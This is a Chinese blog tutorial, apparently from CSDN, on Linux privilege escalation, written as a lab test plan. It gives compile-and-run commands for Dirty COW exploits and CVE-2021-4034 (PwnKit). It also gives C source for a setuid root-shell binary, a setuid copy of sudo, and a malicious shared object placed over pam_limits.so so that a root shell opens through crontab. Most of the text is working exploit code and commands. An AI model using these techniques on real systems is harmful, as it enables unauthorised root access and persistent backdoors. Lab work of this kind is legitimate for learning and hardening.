Linux提权

  • Post author:
  • Post category:linux


提权指的是低权限用户利用各种合法的或非法的手段获取到了高于本用户的系统权限。

本文只介绍部分提权手段,原理也很简单,就不赘述了。另外,如sudo等官方提权手段也不介绍。


目录


内核类提权


脏牛提权


Linux Polkit提升漏洞


SUID提权


SUID普通提权


SUID脚本提权


伪造sudo提权


共享对象注入suid提权


内核类提权

注:内核提权比较危险,建议使用虚拟机执行,执行前打好快照方便恢复。


脏牛提权

前置条件:靶机:CentOS release 6.2 (Final) 内核:2.6.32-220.el6.x86_64

攻击机:kali

测试步骤

测试预期

kali执行searchsploit cow

找到相应的提权代码

将代码传送至靶机普通用户/tmp/test目录下

传送成功

使用普通用户登录靶机,编译并执行相应的代码

编译执行成功

kali执行

searchsploit cow

locate linux/dos/43199.c

执行此命令,找到代码的绝对路径

利用scp,或其他工具,将以上红框中的代码文件转移至靶机的/tmp/目录下。

在靶机中创建普通用户,并切换至此普通用户。cd至/tmp/目录下,编译并执行以下代码。

gcc -pthread 40611cow.c -o dirty0w

./dirty0w /etc/group m00000000000000000

至此就完成了一个提权。那么另外的几个代码文件是干什么用的呢?当然都是提权文件!

执行编译命令,编译并执行第二个代码:

echo pikachu|tee pokeball;ls -l pokeball;gcc -pthread 40838cow.c -o d;./d pokeball miltank;cat pokeball

执行编译命令,编译并执行第三个代码:

gcc -pthread 40839cow.c -o dirty -lcrypt

./dirty 123456

执行编译命令,编译并执行第四个代码:

gcc suidcow.c -o cowroot -pthread

./cowroot


Linux Polkit提升漏洞

利用漏洞 cve-2021-4034

漏洞利用文件:CVE-2021-4034-main.zip

https://download.csdn.net/download/qq_42465440/83200995

测试步骤

测试预期

1.使用root 解压CVE-2021-4034-main.zip

解压成功

2.进入解压好的目录,执行make(机器需要提前安装gcc)

编译成功

4.使用普通用户登录,并cd至目CVE-2021-4034目录下执行./cve-2021-4034

提权行为被阻断

将 CVE-2021-4034-main.zip放置于靶机的/root/目录下

执行以下命令,完成编译与执行:

unzip CVE-2021-4034-main.zip

cd CVE-2021-4034-main

make

./CVE-2021-4034

SUID提权


SUID普通


提权

测试步骤

测试预期

1.使用root用户编译suid代码

编译成功

2.使用root用户将程序放置/tmp目录下,并赋予suid权限

操作成功

4.使用普通用户登录,并cd至/tmp目录下执行此程序

获取root权限成功

vi exp.c,创建exp.c文件,内容为:

#include<stdlib.h>
#include <unistd.h>
 int main()
{
setuid(0);//run as root
system("id");
system("/bin/bash");
}

执行编译命令,赋予suid权限,并转移至/tmp目录下:

gcc exp.c -o exp;
mv exp /tmp;
chmod u+s /tmp/exp;

切换至普通用户后,cd至/tmp目录,启动exp完成提权

su username

cd /tmp/

./exp


SUID脚本


提权

前提:靶机的普通用户priuser具有sudo权限

测试步骤

测试预期

1.在kali上执行searchsploit privilege|grep -i linux

找到linux/local/46989.sh

2.将脚本转移至靶机普通用户上

脚本上传成功

3. 执行脚本

执行成功,成功获取root权限

在kali上执行:

searchsploit privilege|grep -i linux

locate命令,获取到文件的绝对路径,转移至靶机普通用户上

在靶机的普通用户上执行此脚本


伪造sudo提权

测试步骤

测试预期

1.root用户在客户端机器上执行cp /usr/bin/sudo /tmp/

执行成功

2.执行chmod +s /tmp/sudo

执行成功

3. 登录普通用户执行 /tmp/sudo su root后,输入普通用户的密码即可

执行成功,成功获取root权限

root用户在靶机上执行

cp /usr/bin/sudo /tmp/privsudo

chmod +s /tmp/privsudo

#切换普通用户
su priver

/tmp/privsudo su root


共享对象注入suid提权

前置条件:打开一个窗口,使用普通用户先登录

测试步骤

测试预期

1.在root用户下寻找现有的suid程序find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null

执行成功

2.在root用户下查找打开的.so对象,执行strace /usr/bin/crontab >&1 |grep -iE “open|access|no such file”

执行成功

3. 在root用户下将/lib64/security/pam_limits.so移至其他目录

执行成功

4.在root用户下编译注入c程序:gcc -shared -fPIC -o /lib64/security/pam_limits.so test.c

执行成功

5.使用已经登录的普通用户执行crontab -e

获取成功root权限

在root用户下寻找现有的suid程序

find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null

在root用户下查找该suid程序打开的.so对象,执行

2.strace /usr/bin/crontab >&1 |grep -iE "open|access|no such file"

在root用户下将/lib64/security/pam_limits.so移至其他目录

在root用户下编译注入c程序test.c,内容:

vim test.c
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() {setuid(0);system("/bin/bash -p");}
gcc -shared -fPIC -o /lib64/security/pam_limits.so test.c

使用已经登录的普通用户pro1执行

crontab -e

可以看到普通用户pro1已经成功切换为root

注:测试完记得把移除的/lib64/security/pam_limits.so恢复至原目录,否则会导致系统无法远程登录。



版权声明:本文为qq_42465440原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。